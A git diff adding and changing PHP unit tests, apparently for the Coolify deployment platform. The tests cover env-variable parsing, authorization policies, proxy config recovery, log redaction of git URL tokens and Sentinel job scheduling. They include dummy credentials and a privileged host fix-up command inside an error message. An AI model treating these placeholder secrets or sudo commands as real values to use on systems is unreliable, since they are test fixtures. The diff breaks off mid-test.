splitOnOperatorOutsideNested('API_URL:-default_value'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default_value'); +}); + +test('splitOnOperatorOutsideNested handles nested defaults', function () { + $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('splitOnOperatorOutsideNested handles dash operator', function () { + $split = splitOnOperatorOutsideNested('VAR-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('-') + ->and($split['default'])->toBe('default'); +}); + +test('splitOnOperatorOutsideNested handles colon question operator', function () { + $split = splitOnOperatorOutsideNested('VAR:?error message'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('splitOnOperatorOutsideNested handles question operator', function () { + $split = splitOnOperatorOutsideNested('VAR?error'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('splitOnOperatorOutsideNested returns null for simple variable', function () { + $split = splitOnOperatorOutsideNested('SIMPLE_VAR'); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () { + $split = splitOnOperatorOutsideNested('A:-${B:-default}'); + + assertNotNull($split); + // Should split on first :- (outside nested braces), not the one inside ${B:-default} + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); +}); + +test('replaceVariables handles simple variable', function () { + $result = replaceVariables('${VAR}'); + + expect($result->value())->toBe('VAR'); +}); + +test('replaceVariables handles nested expressions', function () { + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables handles variable with default', function () { + $result = replaceVariables('${API_URL:-http://localhost}'); + + expect($result->value())->toBe('API_URL:-http://localhost'); +}); + +test('replaceVariables returns unchanged for non-variable string', function () { + $result = replaceVariables('not_a_variable'); + + expect($result->value())->toBe('not_a_variable'); +}); + +test('replaceVariables handles triple nesting', function () { + $result = replaceVariables('${A:-${B:-${C}}}'); + + expect($result->value())->toBe('A:-${B:-${C}}'); +}); + +test('replaceVariables fallback works for malformed input', function () { + // When braces are unbalanced, it falls back to old behavior + $result = replaceVariables('${VAR'); + + // Old behavior would extract everything before first } + // But since there's no }, it will extract 'VAR' (removing ${) + expect($result->value())->toContain('VAR'); +}); + +test('extractBalancedBraceContent handles complex nested expression', function () { + $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('splitOnOperatorOutsideNested handles complex nested expression', function () { + $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}'); + + assertNotNull($split); + expect($split['variable'])->toBe('API') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('extractBalancedBraceContent finds second variable in string', function () { + $str = '${VAR1} and ${VAR2}'; + + // First variable + $result1 = extractBalancedBraceContent($str, 0); + assertNotNull($result1); + expect($result1['content'])->toBe('VAR1'); + + // Second variable + $result2 = extractBalancedBraceContent($str, $result1['end'] + 1); + assertNotNull($result2); + expect($result2['content'])->toBe('VAR2'); +}); + +test('replaceVariables handles empty default value', function () { + $result = replaceVariables('${VAR:-}'); + + expect($result->value())->toBe('VAR:-'); +}); + +test('splitOnOperatorOutsideNested handles empty default value', function () { + $split = splitOnOperatorOutsideNested('VAR:-'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe(''); +}); + +test('replaceVariables handles brace format without dollar sign', function () { + // This format is used by the regex capture group in magic variable detection + $result = replaceVariables('{SERVICE_URL_YOLO}'); + expect($result->value())->toBe('SERVICE_URL_YOLO'); +}); + +test('replaceVariables handles truncated brace format', function () { + // When regex captures {VAR from a larger expression, no closing brace + $result = replaceVariables('{API_URL'); + expect($result->value())->toBe('API_URL'); +}); diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php new file mode 100644 index 000000000..303ff007d --- /dev/null +++ b/tests/Unit/ParseEnvFormatToArrayTest.php @@ -0,0 +1,248 @@ +toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments from unquoted values', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + 'NODE_VERSION' => ['value' => '22', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () { + $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment'], + 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'], + ]); +}); + +test('parseEnvFormatToArray preserves # in quoted values', function () { + $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with # hash', 'comment' => null], + 'KEY2' => ['value' => 'another # hash', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles quoted values correctly', function () { + $input = "KEY1=\"quoted value\"\nKEY2='single quoted'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'quoted value', 'comment' => null], + 'KEY2' => ['value' => 'single quoted', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips comment lines', function () { + $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips empty lines', function () { + $input = "KEY1=value1\n\nKEY2=value2\n\n"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles values with equals signs', function () { + $input = 'KEY1=value=with=equals'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value=with=equals', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles empty values', function () { + $input = "KEY1=\nKEY2=value"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles complex real-world example', function () { + $input = <<<'ENV' +# Database Configuration +DB_HOST=localhost +DB_PORT=5432 #default postgres port +DB_NAME="my_database" +DB_PASSWORD='p@ssw0rd#123' + +# API Keys +API_KEY=abc123 # Production key +SECRET_KEY=xyz789 +ENV; + + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DB_HOST' => ['value' => 'localhost', 'comment' => null], + 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'], + 'DB_NAME' => ['value' => 'my_database', 'comment' => null], + 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null], + 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'], + 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles the original bug scenario', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + // The value should be "22", not "22 #needed for now" + expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed'); + // And the comment should be extracted + expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now'); +}); + +test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () { + $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'], + 'KEY2' => ['value' => 'another value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () { + $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes"; + $result = parseEnvFormatToArray($input); + + // KEY1: no space before #, so entire value is kept + // KEY2: space before first #, so everything from first space+# is stripped + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'], + ]); +}); + +test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () { + $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '#starts with hash', 'comment' => null], + 'KEY2' => ['value' => 'hash # in middle', 'comment' => null], + 'KEY3' => ['value' => 'ends with hash#', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray trims whitespace before comments', function () { + $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment'], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'], + ]); + // Values should not have trailing spaces + expect($result['KEY1']['value'])->not->toEndWith(' '); + expect($result['KEY2']['value'])->not->toEndWith("\t"); +}); + +test('parseEnvFormatToArray preserves hash in passwords without spaces', function () { + $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null], + 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips comments with space before hash', function () { + $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'], + 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + ]); +}); + +test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () { + $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'], + 'KEY2' => ['value' => 'value', 'comment' => 'another comment'], + ]); +}); + +test('parseEnvFormatToArray handles empty comments', function () { + $input = "KEY1=value #\nKEY2=value # "; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray extracts multi-word comments', function () { + $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'], + ]); +}); + +test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () { + $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'], + 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'], + 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'], + ]); +}); + +test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () { + $input = 'ASD=asd #asdfgg'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'], + ]); + + // Specifically verify the comment is extracted + expect($result['ASD']['value'])->toBe('asd'); + expect($result['ASD']['comment'])->toBe('asdfgg'); + expect($result['ASD']['comment'])->not->toBeNull(); +}); diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php new file mode 100644 index 000000000..55ba7f3d3 --- /dev/null +++ b/tests/Unit/Policies/GithubAppPolicyTest.php @@ -0,0 +1,227 @@ +makePartial(); + + $policy = new GithubAppPolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows any user to view system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('allows team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows user with system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies user without system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows user with system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies user without system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php new file mode 100644 index 000000000..f993978f9 --- /dev/null +++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php @@ -0,0 +1,163 @@ +makePartial(); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows team member to view their team shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 2; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows team admin to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); + +it('allows team admin to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeTrue(); +}); + +it('denies team member to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php index 00f39e3df..09472604b 100644 --- a/tests/Unit/PrivateKeyStorageTest.php +++ b/tests/Unit/PrivateKeyStorageTest.php @@ -112,7 +112,7 @@ public function it_throws_exception_when_storage_directory_is_not_writable() ); $this->expectException(\Exception::class); - $this->expectExceptionMessage('SSH keys storage directory is not writable'); + $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); PrivateKey::createAndStore([ 'name' => 'Test Key', diff --git a/tests/Unit/ProxyConfigRecoveryTest.php b/tests/Unit/ProxyConfigRecoveryTest.php new file mode 100644 index 000000000..219ec9bca --- /dev/null +++ b/tests/Unit/ProxyConfigRecoveryTest.php @@ -0,0 +1,109 @@ +shouldReceive('get') + ->with('last_saved_proxy_configuration') + ->andReturn($savedConfig); + + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes); + $server->shouldReceive('getAttribute')->with('id')->andReturn(1); + $server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server'); + $server->shouldReceive('proxyType')->andReturn('TRAEFIK'); + $server->shouldReceive('proxyPath')->andReturn('/data/coolify/proxy'); + + return $server; +} + +it('returns OK for NONE proxy type without reading config', function () { + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('proxyType')->andReturn('NONE'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe('OK'); +}); + +it('reads proxy configuration from database', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // ProxyDashboardCacheService is called at the end — mock it + $server->shouldReceive('proxyType')->andReturn('TRAEFIK'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); + +it('preserves full custom config including labels, env vars, and custom commands', function () { + $customConfig = <<<'YAML' +services: + traefik: + image: traefik:v3.5 + command: + - '--entrypoints.http.address=:80' + - '--metrics.prometheus=true' + labels: + - 'traefik.enable=true' + - 'waf.custom.middleware=true' + environment: + CF_API_EMAIL: user@example.com + CF_API_KEY: secret-key +YAML; + + $server = mockServerWithDbConfig($customConfig); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($customConfig) + ->and($result)->toContain('waf.custom.middleware=true') + ->and($result)->toContain('CF_API_EMAIL') + ->and($result)->toContain('metrics.prometheus=true'); +}); + +it('logs warning when regenerating defaults', function () { + Log::swap(new \Illuminate\Log\LogManager(app())); + Log::spy(); + + // No DB config, no disk config — will try to regenerate + $server = mockServerWithDbConfig(null); + + // backfillFromDisk will be called — we need instant_remote_process to return empty + // Since it's a global function we can't easily mock it, so test the logging via + // the force regenerate path instead + try { + GetProxyConfiguration::run($server, forceRegenerate: true); + } catch (\Throwable $e) { + // generateDefaultProxyConfiguration may fail without full server setup + } + + Log::shouldHaveReceived('warning') + ->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults')) + ->once(); +}); + +it('does not read from disk when DB config exists', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // If disk were read, instant_remote_process would be called. + // Since we're not mocking it and the test passes, it proves DB is used. + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); diff --git a/tests/Unit/SanitizeLogsForExportTest.php b/tests/Unit/SanitizeLogsForExportTest.php index 39d16c993..285230ea4 100644 --- a/tests/Unit/SanitizeLogsForExportTest.php +++ b/tests/Unit/SanitizeLogsForExportTest.php @@ -153,6 +153,22 @@ expect($result)->toContain('aws_secret_access_key='.REDACTED); }); +it('removes HTTPS basic auth passwords from git URLs', function () { + $testCases = [ + 'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED, + 'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED, + 'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED, + ]; + + foreach ($testCases as $input => $notExpected) { + $result = sanitizeLogsForExport($input); + // The password should be redacted + expect($result)->not->toContain('glpat-xxxxxxxxxxxx'); + expect($result)->not->toContain('my-secret-token'); + expect($result)->not->toContain('token123'); + } +}); + it('removes generic URL passwords', function () { $testCases = [ 'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path', diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php index 3f3ae593a..577730f47 100644 --- a/tests/Unit/ScheduledJobManagerLockTest.php +++ b/tests/Unit/ScheduledJobManagerLockTest.php @@ -24,7 +24,7 @@ $expiresAfterProperty->setAccessible(true); $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware); - expect($expiresAfter)->toBe(60) + expect($expiresAfter)->toBe(90) ->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks'); // Check releaseAfter is NOT set (we use dontRelease) diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php index 0f2613f11..dc28d18fe 100644 --- a/tests/Unit/ServerManagerJobSentinelCheckTest.php +++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php @@ -1,32 +1,31 @@ instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel enabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); $server->id = 1; $server->name = 'test-server'; $server->ip = '192.168.1.100'; @@ -34,29 +33,76 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { - return $job->server->id === $server->id; - }); + // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync + Queue::assertNotPushed(CheckAndStartSentinelJob::class); }); -it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () { - // Mock InstanceSettings +it('skips ServerConnectionCheckJob when sentinel is live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now(); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is healthy so SSH connection check is skipped + Queue::assertNotPushed(ServerConnectionCheckJob::class); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(false); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now()->subMinutes(10); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + 